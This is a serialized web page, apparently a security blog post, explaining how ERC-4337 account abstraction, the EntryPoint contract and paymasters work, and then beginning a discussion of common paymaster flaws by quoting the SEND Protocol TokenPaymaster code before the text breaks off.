wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":21,"tag":54,"props":102574,"children":102576},{"id":102575},"why-erc4337-was-introduced",[102577],{"type":26,"value":102578},"Why ERC‑4337 Was Introduced",{"type":21,"tag":22,"props":102580,"children":102581},{},[102582],{"type":26,"value":102583},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":21,"tag":17108,"props":102585,"children":102586},{},[102587,102592,102597,102602,102607],{"type":21,"tag":845,"props":102588,"children":102589},{},[102590],{"type":26,"value":102591},"User recovery for lost keys (e.g. social recovery)",{"type":21,"tag":845,"props":102593,"children":102594},{},[102595],{"type":26,"value":102596},"Batched or atomic multi-step operations in one flow",{"type":21,"tag":845,"props":102598,"children":102599},{},[102600],{"type":26,"value":102601},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":21,"tag":845,"props":102603,"children":102604},{},[102605],{"type":26,"value":102606},"Using custom signature schemes or multisig logic",{"type":21,"tag":845,"props":102608,"children":102609},{},[102610],{"type":26,"value":102611},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":21,"tag":54,"props":102613,"children":102615},{"id":102614},"how-erc-4337-works",[102616],{"type":26,"value":102617},"How ERC-4337 Works",{"type":21,"tag":22,"props":102619,"children":102620},{},[102621],{"type":26,"value":102622},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":21,"tag":22,"props":102624,"children":102625},{},[102626],{"type":21,"tag":4681,"props":102627,"children":102629},{"alt":51034,"src":102628},"/posts/paymasters-evm/flowchart.png",[],{"type":21,"tag":22,"props":102631,"children":102632},{},[102633],{"type":26,"value":102634},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":21,"tag":10022,"props":102636,"children":102638},{"id":102637},"useroperation",[102639],{"type":21,"tag":66,"props":102640,"children":102642},{"className":102641},[],[102643],{"type":26,"value":102644},"UserOperation",{"type":21,"tag":22,"props":102646,"children":102647},{},[102648],{"type":26,"value":102649},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":21,"tag":17108,"props":102651,"children":102652},{},[102653,102658,102663],{"type":21,"tag":845,"props":102654,"children":102655},{},[102656],{"type":26,"value":102657},"Target contract call(s)",{"type":21,"tag":845,"props":102659,"children":102660},{},[102661],{"type":26,"value":102662},"Signature or validation metadata",{"type":21,"tag":845,"props":102664,"children":102665},{},[102666,102668,102674],{"type":26,"value":102667},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":21,"tag":66,"props":102669,"children":102671},{"className":102670},[],[102672],{"type":26,"value":102673},"UserOperations",{"type":26,"value":102675}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":21,"tag":10022,"props":102677,"children":102679},{"id":102678},"smart-contract-account",[102680],{"type":26,"value":102681},"Smart Contract Account",{"type":21,"tag":22,"props":102683,"children":102684},{},[102685,102687,102693,102694,102700],{"type":26,"value":102686},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":21,"tag":66,"props":102688,"children":102690},{"className":102689},[],[102691],{"type":26,"value":102692},"validateUserOp()",{"type":26,"value":11408},{"type":21,"tag":66,"props":102695,"children":102697},{"className":102696},[],[102698],{"type":26,"value":102699},"executeUserOp()",{"type":26,"value":102701},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":21,"tag":10022,"props":102703,"children":102705},{"id":102704},"bundler",[102706],{"type":26,"value":102707},"Bundler",{"type":21,"tag":22,"props":102709,"children":102710},{},[102711,102713,102718,102720,102726],{"type":26,"value":102712},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":21,"tag":66,"props":102714,"children":102716},{"className":102715},[],[102717],{"type":26,"value":102673},{"type":26,"value":102719},", packages them, and submits them in a single transaction to the ",{"type":21,"tag":66,"props":102721,"children":102723},{"className":102722},[],[102724],{"type":26,"value":102725},"EntryPoint",{"type":26,"value":102727}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":21,"tag":10022,"props":102729,"children":102730},{"id":15141},[102731],{"type":21,"tag":66,"props":102732,"children":102734},{"className":102733},[],[102735],{"type":26,"value":102725},{"type":21,"tag":22,"props":102737,"children":102738},{},[102739,102740,102745,102747,102752,102754,102758,102760,102765],{"type":26,"value":17034},{"type":21,"tag":66,"props":102741,"children":102743},{"className":102742},[],[102744],{"type":26,"value":102725},{"type":26,"value":102746}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":21,"tag":66,"props":102748,"children":102750},{"className":102749},[],[102751],{"type":26,"value":102673},{"type":26,"value":102753}," submitted by a ",{"type":21,"tag":873,"props":102755,"children":102756},{},[102757],{"type":26,"value":102707},{"type":26,"value":102759},", the ",{"type":21,"tag":66,"props":102761,"children":102763},{"className":102762},[],[102764],{"type":26,"value":102725},{"type":26,"value":102766}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":21,"tag":22,"props":102768,"children":102769},{},[102770,102772,102777,102779,102783,102785,102790,102792,102798],{"type":26,"value":102771},"Once all operations have been processed, the ",{"type":21,"tag":66,"props":102773,"children":102775},{"className":102774},[],[102776],{"type":26,"value":102725},{"type":26,"value":102778}," calculates the total gas consumed and reimburses the ",{"type":21,"tag":873,"props":102780,"children":102781},{},[102782],{"type":26,"value":102707},{"type":26,"value":102784},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":21,"tag":66,"props":102786,"children":102788},{"className":102787},[],[102789],{"type":26,"value":102725},{"type":26,"value":102791}," or from a ",{"type":21,"tag":66,"props":102793,"children":102795},{"className":102794},[],[102796],{"type":26,"value":102797},"paymaster",{"type":26,"value":102799}," that has agreed to sponsor the transaction.",{"type":21,"tag":10022,"props":102801,"children":102802},{"id":102797},[102803],{"type":21,"tag":66,"props":102804,"children":102806},{"className":102805},[],[102807],{"type":26,"value":102808},"Paymaster",{"type":21,"tag":22,"props":102810,"children":102811},{},[102812,102814,102819],{"type":26,"value":102813},"A ",{"type":21,"tag":66,"props":102815,"children":102817},{"className":102816},[],[102818],{"type":26,"value":102797},{"type":26,"value":102820}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":21,"tag":17108,"props":102822,"children":102823},{},[102824,102835],{"type":21,"tag":845,"props":102825,"children":102826},{},[102827,102833],{"type":21,"tag":66,"props":102828,"children":102830},{"className":102829},[],[102831],{"type":26,"value":102832},"validatePaymasterUserOp()",{"type":26,"value":102834}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":21,"tag":845,"props":102836,"children":102837},{},[102838,102844],{"type":21,"tag":66,"props":102839,"children":102841},{"className":102840},[],[102842],{"type":26,"value":102843},"postOp()",{"type":26,"value":102845},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":21,"tag":22,"props":102847,"children":102848},{},[102849,102851,102856],{"type":26,"value":102850},"By supporting both sponsorship and token-based gas payments, ",{"type":21,"tag":66,"props":102852,"children":102854},{"className":102853},[],[102855],{"type":26,"value":102797},{"type":26,"value":102857}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":21,"tag":54,"props":102859,"children":102861},{"id":102860},"understanding-the-entrypoints-flow",[102862,102864,102869],{"type":26,"value":102863},"Understanding the ",{"type":21,"tag":66,"props":102865,"children":102867},{"className":102866},[],[102868],{"type":26,"value":102725},{"type":26,"value":102870},"'s Flow",{"type":21,"tag":22,"props":102872,"children":102873},{},[102874,102876,102881,102882,102887,102889,102900,102902,102907,102908,102913],{"type":26,"value":102875},"When a bundler submits ",{"type":21,"tag":66,"props":102877,"children":102879},{"className":102878},[],[102880],{"type":26,"value":102673},{"type":26,"value":16832},{"type":21,"tag":66,"props":102883,"children":102885},{"className":102884},[],[102886],{"type":26,"value":102725},{"type":26,"value":102888}," contract via ",{"type":21,"tag":335,"props":102890,"children":102893},{"href":102891,"rel":102892},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[339],[102894],{"type":21,"tag":66,"props":102895,"children":102897},{"className":102896},[],[102898],{"type":26,"value":102899},"handleOps()",{"type":26,"value":102901},", the processing occurs in two main phases: ",{"type":21,"tag":873,"props":102903,"children":102904},{},[102905],{"type":26,"value":102906},"Validation",{"type":26,"value":11408},{"type":21,"tag":873,"props":102909,"children":102910},{},[102911],{"type":26,"value":102912},"Execution",{"type":26,"value":73},{"type":21,"tag":10022,"props":102915,"children":102917},{"id":102916},"validation-phase",[102918],{"type":26,"value":102919},"Validation Phase",{"type":21,"tag":22,"props":102921,"children":102922},{},[102923,102925,102930,102932,102938,102940,102946,102947,102952],{"type":26,"value":102924},"In this phase, the ",{"type":21,"tag":66,"props":102926,"children":102928},{"className":102927},[],[102929],{"type":26,"value":102725},{"type":26,"value":102931}," first validates all operations in the submitted ",{"type":21,"tag":66,"props":102933,"children":102935},{"className":102934},[],[102936],{"type":26,"value":102937},"UserOps",{"type":26,"value":102939}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":21,"tag":66,"props":102941,"children":102943},{"className":102942},[],[102944],{"type":26,"value":102945},"UserOp",{"type":26,"value":102759},{"type":21,"tag":66,"props":102948,"children":102950},{"className":102949},[],[102951],{"type":26,"value":102725},{"type":26,"value":172},{"type":21,"tag":841,"props":102954,"children":102955},{},[102956,102974,102992,103013,103025],{"type":21,"tag":845,"props":102957,"children":102958},{},[102959,102966,102968],{"type":21,"tag":335,"props":102960,"children":102963},{"href":102961,"rel":102962},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[339],[102964],{"type":26,"value":102965},"Calculates",{"type":26,"value":102967}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":21,"tag":66,"props":102969,"children":102971},{"className":102970},[],[102972],{"type":26,"value":102973},"maxFeePerGas",{"type":21,"tag":845,"props":102975,"children":102976},{},[102977,102984,102985,102990],{"type":21,"tag":335,"props":102978,"children":102981},{"href":102979,"rel":102980},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[339],[102982],{"type":26,"value":102983},"Calls",{"type":26,"value":790},{"type":21,"tag":66,"props":102986,"children":102988},{"className":102987},[],[102989],{"type":26,"value":102692},{"type":26,"value":102991}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":21,"tag":845,"props":102993,"children":102994},{},[102995,102997,103004,103006,103011],{"type":26,"value":102996},"If no paymaster is specified, attempts to ",{"type":21,"tag":335,"props":102998,"children":103001},{"href":102999,"rel":103000},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[339],[103002],{"type":26,"value":103003},"deduct",{"type":26,"value":103005}," the prefund amount from the sender's ETH deposit in the ",{"type":21,"tag":66,"props":103007,"children":103009},{"className":103008},[],[103010],{"type":26,"value":102725},{"type":26,"value":103012}," (this can be partially refunded later if actual execution costs less)",{"type":21,"tag":845,"props":103014,"children":103015},{},[103016,103023],{"type":21,"tag":335,"props":103017,"children":103020},{"href":103018,"rel":103019},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[339],[103021],{"type":26,"value":103022},"Validates",{"type":26,"value":103024}," the nonce to prevent replay attacks",{"type":21,"tag":845,"props":103026,"children":103027},{},[103028,103030,103036,103038,103044,103045,103050],{"type":26,"value":103029},"If a paymaster is specified, it will ",{"type":21,"tag":335,"props":103031,"children":103034},{"href":103032,"rel":103033},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[339],[103035],{"type":26,"value":103003},{"type":26,"value":103037}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":21,"tag":335,"props":103039,"children":103042},{"href":103040,"rel":103041},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[339],[103043],{"type":26,"value":38744},{"type":26,"value":790},{"type":21,"tag":66,"props":103046,"children":103048},{"className":103047},[],[103049],{"type":26,"value":102832},{"type":26,"value":103051}," on the paymaster contract to verify it will cover gas costs",{"type":21,"tag":22,"props":103053,"children":103054},{},[103055,103057,103062,103064,103069],{"type":26,"value":103056},"Only after all these validation checks pass will the ",{"type":21,"tag":66,"props":103058,"children":103060},{"className":103059},[],[103061],{"type":26,"value":102725},{"type":26,"value":103063}," move on to actually executing the ",{"type":21,"tag":66,"props":103065,"children":103067},{"className":103066},[],[103068],{"type":26,"value":102644},{"type":26,"value":103070},". This strict validation flow ensures that:",{"type":21,"tag":17108,"props":103072,"children":103073},{},[103074,103079,103084,103089],{"type":21,"tag":845,"props":103075,"children":103076},{},[103077],{"type":26,"value":103078},"The operation is legitimate and authorized by the user",{"type":21,"tag":845,"props":103080,"children":103081},{},[103082],{"type":26,"value":103083},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":21,"tag":845,"props":103085,"children":103086},{},[103087],{"type":26,"value":103088},"The operation cannot be replayed",{"type":21,"tag":845,"props":103090,"children":103091},{},[103092],{"type":26,"value":103093},"All involved contracts (sender and paymaster) have approved the execution",{"type":21,"tag":22,"props":103095,"children":103096},{},[103097],{"type":26,"value":103098},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":21,"tag":10022,"props":103100,"children":103102},{"id":103101},"execution-phase",[103103],{"type":26,"value":103104},"Execution Phase",{"type":21,"tag":22,"props":103106,"children":103107},{},[103108,103110,103115,103117,103124,103126,103131],{"type":26,"value":103109},"After all operations have passed validation, the ",{"type":21,"tag":66,"props":103111,"children":103113},{"className":103112},[],[103114],{"type":26,"value":102725},{"type":26,"value":103116}," begins the ",{"type":21,"tag":335,"props":103118,"children":103121},{"href":103119,"rel":103120},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[339],[103122],{"type":26,"value":103123},"execution",{"type":26,"value":103125}," phase, processing each ",{"type":21,"tag":66,"props":103127,"children":103129},{"className":103128},[],[103130],{"type":26,"value":102644},{"type":26,"value":103132}," individually. For each operation, the flow is:",{"type":21,"tag":841,"props":103134,"children":103135},{},[103136,103196,103242],{"type":21,"tag":845,"props":103137,"children":103138},{},[103139,103140,103145,103147,103153,103154,103160,103162],{"type":26,"value":17034},{"type":21,"tag":66,"props":103141,"children":103143},{"className":103142},[],[103144],{"type":26,"value":102725},{"type":26,"value":103146}," makes a ",{"type":21,"tag":335,"props":103148,"children":103151},{"href":103149,"rel":103150},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[339],[103152],{"type":26,"value":38744},{"type":26,"value":57233},{"type":21,"tag":66,"props":103155,"children":103157},{"className":103156},[],[103158],{"type":26,"value":103159},"innerHandleOp()",{"type":26,"value":103161},", which:\n",{"type":21,"tag":17108,"props":103163,"children":103164},{},[103165,103177,103182],{"type":21,"tag":845,"props":103166,"children":103167},{},[103168,103175],{"type":21,"tag":335,"props":103169,"children":103172},{"href":103170,"rel":103171},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[339],[103173],{"type":26,"value":103174},"Forwards",{"type":26,"value":103176}," the operation to the sender's smart account contract",{"type":21,"tag":845,"props":103178,"children":103179},{},[103180],{"type":26,"value":103181},"Executes the intended transaction(s) within the smart account",{"type":21,"tag":845,"props":103183,"children":103184},{},[103185,103187,103194],{"type":26,"value":103186},"Handles ",{"type":21,"tag":335,"props":103188,"children":103191},{"href":103189,"rel":103190},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[339],[103192],{"type":26,"value":103193},"post-execution",{"type":26,"value":103195}," tasks and cleanup",{"type":21,"tag":845,"props":103197,"children":103198},{},[103199,103201,103207,103209,103215,103216,103222,103224],{"type":26,"value":103200},"If a paymaster was used, ",{"type":21,"tag":66,"props":103202,"children":103204},{"className":103203},[],[103205],{"type":26,"value":103206},"Entrypoint",{"type":26,"value":103208}," will ",{"type":21,"tag":335,"props":103210,"children":103213},{"href":103211,"rel":103212},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[339],[103214],{"type":26,"value":38744},{"type":26,"value":790},{"type":21,"tag":66,"props":103217,"children":103219},{"className":103218},[],[103220],{"type":26,"value":103221},"paymaster.postOp()",{"type":26,"value":103223}," to:\n",{"type":21,"tag":17108,"props":103225,"children":103226},{},[103227,103232,103237],{"type":21,"tag":845,"props":103228,"children":103229},{},[103230],{"type":26,"value":103231},"Allow paymaster to finalize its accounting",{"type":21,"tag":845,"props":103233,"children":103234},{},[103235],{"type":26,"value":103236},"Process any refunds or additional charges",{"type":21,"tag":845,"props":103238,"children":103239},{},[103240],{"type":26,"value":103241},"Complete any paymaster-specific logic",{"type":21,"tag":845,"props":103243,"children":103244},{},[103245,103247,103252,103253,103260,103262],{"type":26,"value":103246},"Finally, after all operations are processed, the ",{"type":21,"tag":66,"props":103248,"children":103250},{"className":103249},[],[103251],{"type":26,"value":102725},{"type":26,"value":790},{"type":21,"tag":335,"props":103254,"children":103257},{"href":103255,"rel":103256},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[339],[103258],{"type":26,"value":103259},"compensates",{"type":26,"value":103261}," the bundler for:\n",{"type":21,"tag":17108,"props":103263,"children":103264},{},[103265,103270,103275],{"type":21,"tag":845,"props":103266,"children":103267},{},[103268],{"type":26,"value":103269},"Gas costs from executing all operations",{"type":21,"tag":845,"props":103271,"children":103272},{},[103273],{"type":26,"value":103274},"Overhead from submitting the batch transaction",{"type":21,"tag":845,"props":103276,"children":103277},{},[103278],{"type":26,"value":103279},"Any unused gas, which is refunded",{"type":21,"tag":22,"props":103281,"children":103282},{},[103283],{"type":26,"value":103284},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":21,"tag":22,"props":103286,"children":103287},{},[103288,103290,103295,103297,103303,103305,103310],{"type":26,"value":103289},"Now that we understand how the ",{"type":21,"tag":66,"props":103291,"children":103293},{"className":103292},[],[103294],{"type":26,"value":102725},{"type":26,"value":103296}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":21,"tag":66,"props":103298,"children":103300},{"className":103299},[],[103301],{"type":26,"value":103302},"paymasters",{"type":26,"value":103304}," that align with the ",{"type":21,"tag":66,"props":103306,"children":103308},{"className":103307},[],[103309],{"type":26,"value":102725},{"type":26,"value":103311},"'s execution model, leading to potential vulnerabilities.",{"type":21,"tag":35820,"props":103313,"children":103315},{"id":103314},"common-pitfalls-in-paymaster-implementation",[103316],{"type":26,"value":103317},"Common Pitfalls in Paymaster Implementation",{"type":21,"tag":22,"props":103319,"children":103320},{},[103321,103323,103328],{"type":26,"value":103322},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":21,"tag":66,"props":103324,"children":103326},{"className":103325},[],[103327],{"type":26,"value":102725},{"type":26,"value":103329}," to exploitation or griefing.",{"type":21,"tag":22,"props":103331,"children":103332},{},[103333,103335,103340],{"type":26,"value":103334},"In this section, we’ll walk through the ",{"type":21,"tag":873,"props":103336,"children":103337},{},[103338],{"type":26,"value":103339},"two most common pitfalls",{"type":26,"value":103341}," we’ve observed in real-world paymaster implementations:",{"type":21,"tag":54,"props":103343,"children":103345},{"id":103344},"undercalculated-gas-costs",[103346],{"type":21,"tag":873,"props":103347,"children":103348},{},[103349],{"type":26,"value":103350},"Undercalculated Gas Costs",{"type":21,"tag":22,"props":103352,"children":103353},{},[103354,103356,103361,103363,103368,103370,103375,103377,103384],{"type":26,"value":103355},"To understand this issue, let's first examine how gas penalties work in the ",{"type":21,"tag":66,"props":103357,"children":103359},{"className":103358},[],[103360],{"type":26,"value":102725},{"type":26,"value":103362},". When a ",{"type":21,"tag":66,"props":103364,"children":103366},{"className":103365},[],[103367],{"type":26,"value":102644},{"type":26,"value":103369}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":21,"tag":66,"props":103371,"children":103373},{"className":103372},[],[103374],{"type":26,"value":102725},{"type":26,"value":103376}," charges a ",{"type":21,"tag":335,"props":103378,"children":103381},{"href":103379,"rel":103380},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[339],[103382],{"type":26,"value":103383},"penalty of 10%",{"type":26,"value":103385}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":21,"tag":22,"props":103387,"children":103388},{},[103389],{"type":26,"value":103390},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":21,"tag":75,"props":103392,"children":103394},{"className":5245,"code":103393,"language":5244,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[103395],{"type":21,"tag":66,"props":103396,"children":103397},{"__ignoreMap":7},[103398,103442,103449,103506,103514,103522,103564,103571,103583,103605,103626,103656,103707,103737,103758,103796,103835,103852,103891,103915,103932,103975,103997,104014,104031,104038,104045,104071,104088,104123,104154,104166,104213,104220,104227,104234,104301,104308,104315,104322,104333,104352,104371,104435,104458,104491,104506,104541,104549,104588,104613,104634,104642,104669,104696,104704,104712,104754,104761,104768,104792,104808,104815,104822,104840,104853,104860,104868],{"type":21,"tag":85,"props":103399,"children":103400},{"class":87,"line":88},[103401,103405,103410,103415,103420,103424,103429,103433,103438],{"type":21,"tag":85,"props":103402,"children":103403},{"style":102},[103404],{"type":26,"value":90276},{"type":21,"tag":85,"props":103406,"children":103407},{"style":108},[103408],{"type":26,"value":103409}," TokenPaymaster",{"type":21,"tag":85,"props":103411,"children":103412},{"style":102},[103413],{"type":26,"value":103414}," is",{"type":21,"tag":85,"props":103416,"children":103417},{"style":108},[103418],{"type":26,"value":103419}," BasePaymaster",{"type":21,"tag":85,"props":103421,"children":103422},{"style":114},[103423],{"type":26,"value":256},{"type":21,"tag":85,"props":103425,"children":103426},{"style":108},[103427],{"type":26,"value":103428},"UniswapHelper",{"type":21,"tag":85,"props":103430,"children":103431},{"style":114},[103432],{"type":26,"value":256},{"type":21,"tag":85,"props":103434,"children":103435},{"style":108},[103436],{"type":26,"value":103437},"OracleHelper",{"type":21,"tag":85,"props":103439,"children":103440},{"style":114},[103441],{"type":26,"value":148},{"type":21,"tag":85,"props":103443,"children":103444},{"class":87,"line":98},[103445],{"type":21,"tag":85,"props":103446,"children":103447},{"style":114},[103448],{"type":26,"value":10733},{"type":21,"tag":85,"props":103450,"children":103451},{"class":87,"line":151},[103452,103456,103461,103465,103470,103475,103480,103484,103489,103493,103497,103502],{"type":21,"tag":85,"props":103453,"children":103454},{"style":102},[103455],{"type":26,"value":90293},{"type":21,"tag":85,"props":103457,"children":103458},{"style":1021},[103459],{"type":26,"value":103460}," _validatePaymasterUserOp",{"type":21,"tag":85,"props":103462,"children":103463},{"style":114},[103464],{"type":26,"value":1439},{"type":21,"tag":85,"props":103466,"children":103467},{"style":102},[103468],{"type":26,"value":103469},"PackedUserOperation",{"type":21,"tag":85,"props":103471,"children":103472},{"style":102},[103473],{"type":26,"value":103474}," calldata",{"type":21,"tag":85,"props":103476,"children":103477},{"style":120},[103478],{"type":26,"value":103479}," userOp",{"type":21,"tag":85,"props":103481,"children":103482},{"style":114},[103483],{"type":26,"value":256},{"type":21,"tag":85,"props":103485,"children":103486},{"style":108},[103487],{"type":26,"value":103488},"bytes32",{"type":21,"tag":85,"props":103490,"children":103491},{"style":114},[103492],{"type":26,"value":256},{"type":21,"tag":85,"props":103494,"children":103495},{"style":108},[103496],{"type":26,"value":46622},{"type":21,"tag":85,"props":103498,"children":103499},{"style":120},[103500],{"type":26,"value":103501}," requiredPreFund",{"type":21,"tag":85,"props":103503,"children":103504},{"style":114},[103505],{"type":26,"value":2485},{"type":21,"tag":85,"props":103507,"children":103508},{"class":87,"line":160},[103509],{"type":21,"tag":85,"props":103510,"children":103511},{"style":102},[103512],{"type":26,"value":103513},"        internal\n",{"type":21,"tag":85,"props":103515,"children":103516},{"class":87,"line":185},[103517],{"type":21,"tag":85,"props":103518,"children":103519},{"style":102},[103520],{"type":26,"value":103521},"        override\n",{"type":21,"tag":85,"props":103523,"children":103524},{"class":87,"line":501},[103525,103530,103534,103538,103543,103547,103551,103555,103560],{"type":21,"tag":85,"props":103526,"children":103527},{"style":2885},[103528],{"type":26,"value":103529},"        returns",{"type":21,"tag":85,"props":103531,"children":103532},{"style":114},[103533],{"type":26,"value":717},{"type":21,"tag":85,"props":103535,"children":103536},{"style":108},[103537],{"type":26,"value":84290},{"type":21,"tag":85,"props":103539,"children":103540},{"style":102},[103541],{"type":26,"value":103542}," memory",{"type":21,"tag":85,"props":103544,"children":103545},{"style":120},[103546],{"type":26,"value":76802},{"type":21,"tag":85,"props":103548,"children":103549},{"style":114},[103550],{"type":26,"value":256},{"type":21,"tag":85,"props":103552,"children":103553},{"style":108},[103554],{"type":26,"value":46622},{"type":21,"tag":85,"props":103556,"children":103557},{"style":120},[103558],{"type":26,"value":103559}," validationResult",{"type":21,"tag":85,"props":103561,"children":103562},{"style":114},[103563],{"type":26,"value":2485},{"type":21,"tag":85,"props":103565,"children":103566},{"class":87,"line":697},[103567],{"type":21,"tag":85,"props":103568,"children":103569},{"style":114},[103570],{"type":26,"value":29630},{"type":21,"tag":85,"props":103572,"children":103573},{"class":87,"line":706},[103574,103579],{"type":21,"tag":85,"props":103575,"children":103576},{"style":2885},[103577],{"type":26,"value":103578},"        